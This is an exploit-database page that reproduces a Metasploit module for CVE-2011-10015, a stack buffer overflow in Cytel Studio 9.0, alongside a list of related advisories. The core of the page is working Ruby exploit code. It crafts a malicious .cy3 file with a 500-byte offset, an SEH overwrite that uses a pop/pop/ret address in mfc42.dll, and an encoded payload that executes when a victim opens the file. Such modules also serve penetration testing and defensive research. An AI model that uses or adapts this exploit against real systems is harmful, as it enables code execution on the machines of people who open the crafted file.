Lucene search
+L

Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

🗓️ 02 Oct 2011 00:00:00Reported by Luigi Auriemma, James Fitts <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow module exploits a stack based buffer overflow found in Cytel Studio <= 9.0. The overflow is triggered during the copying of strings to a stack buffer of 256 bytes

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2011-10015
13 Aug 202520:33
attackerkb
circl
Circl
CVE-2011-10015
29 May 201815:50
circl
cnnvd
CNNVD
Cytel Studio 安全漏洞
13 Aug 202500:00
cnnvd
cve
CVE
CVE-2011-10015
13 Aug 202520:33
cve
cvelist
Cvelist
CVE-2011-10015 Cytel Studio <= 9.0 .CY3 File Stack Buffer Overflow
13 Aug 202520:33
cvelist
euvd
EUVD
EUVD-2011-5248
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-10015
13 Aug 202521:15
nvd
ptsecurity
Positive Technologies
PT-2025-33084 · Cytel · Cytel Studio
13 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2011-10015
15 Aug 202521:29
redhatcve
vulnrichment
Vulnrichment
CVE-2011-10015 Cytel Studio <= 9.0 .CY3 File Stack Buffer Overflow
13 Aug 202520:33
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow found
          in Cytel Studio <= 9.0. The overflow is triggered during the
          copying of strings to a stack buffer of 256 bytes.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Luigi Auriemma', # Initial Discovery/PoC
          'James Fitts <fitts.james[at]gmail.com>' # Metasploit Module (Thx Juan & Jeff)
        ],
        'References' => [
          [ 'CVE', '2011-10015' ],
          [ 'OSVDB', '75991' ],
          [ 'BID', '49924' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            # File version 8.0.0.1
            'Cytel Studio 9.0',
            {
              'Ret' => 0x73e58e01, # p/p/r mfc42.dll
              'Offset' => 500
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-10-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']),
      ]
    )
  end

  def exploit
    cy3 = "90\n150 1\n1\test\n"
    cy3 << rand_text_alpha_upper(target['Offset'])
    cy3 << generate_seh_record(target.ret)
    cy3 << rand_text_alpha_upper(8)
    cy3 << payload.encoded
    cy3 << rand_text_alpha_upper(5000 - cy3.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(cy3)
  end
end

=begin
During testing, the offset for Jeff was different. But the three of us have NOT
been unable to reproduce the same problem.  All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2011 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 49.3
EPSS0.00429
SSVC
23